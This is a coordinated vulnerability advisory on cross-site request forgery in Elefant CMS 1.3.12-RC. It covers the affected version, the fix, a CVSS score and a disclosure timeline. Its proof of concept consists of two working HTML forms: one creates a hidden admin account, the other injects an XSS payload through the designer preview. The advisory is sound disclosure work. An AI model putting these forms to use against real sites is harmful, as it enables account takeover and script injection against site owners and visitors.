Elefant CMS 1.3.12-RC: CSRF
Date: 2017-02-02 13:43:041. Introduction
| Affected Product: | Elefant CMS 1.3.12-RC |
| Fixed in: | 1.3.13 |
| Fixed Version Link: | https://github.com/jbroadway/elefant/releases/tag/elefant_1_3_13_rc |
| Vendor Website: | https://www.elefantcms.com/ |
| Vulnerability Type: | CSRF |
| Remote Exploitable: | Yes |
| Reported to vendor: | 09/05/2016 |
| Disclosed to public: | 02/02/2017 |
| Release mode: | Coordinated Release |
| CVE: | n/a (not requested) |
| Credits | Tim Coen of Curesec GmbH |
2. Overview
Elefant is a content managment system written in PHP. In version 1.3.12-RC, it is vulnerable to cross site request forgery. If a victim visits a website that contains specifically crafted code while logged into Elefant, an attacker can for example create a new admin account without the victims knowledge.
3. Details
CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P
There is no CSRF protection for various components, allowing among other the creation of new admin accounts or XSS attacks.
Proof of Concept:
Create New Admin: <html> <body> <form action="http://localhost/user/add" method="POST"> <input type="hidden" name="name" value="admin3" /> <input type="hidden" name="email" value="admin3@example.com" /> <input type="hidden" name="password" value="admin3" /> <input type="hidden" name="verify_pass" value="admin3" /> <input type="hidden" name="type" value="admin" /> <input type="hidden" name="company" value="" /> <input type="hidden" name="title" value="" /> <input type="hidden" name="website" value="" /> <input type="hidden" name="photo" value="" /> <input type="hidden" name="about" value="" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="fax" value="" /> <input type="hidden" name="address" value="" /> <input type="hidden" name="address2" value="" /> <input type="hidden" name="city" value="" /> <input type="hidden" name="state" value="" /> <input type="hidden" name="country" value="" /> <input type="hidden" name="zip" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> XSS: <html> <body> <form action="http://localhost/designer/preview" method="POST"> <input type="hidden" name="layout" value="<img src=no onerror=alert(1)>" /> <input type="submit" value="Submit request" /> </form> </body> </html>
4. Solution
To mitigate this issue please upgrade at least to version 1.3.13.
Please note that a newer version might already be available.
5. Report Timeline
| 09/05/2016 | Informed Vendor about Issue, Vendor announces fix |
| 11/07/2016 | Asked Vendor if recent releases fixes issues, Vendor confirmed |
| 02/02/2017 | Disclosed to public |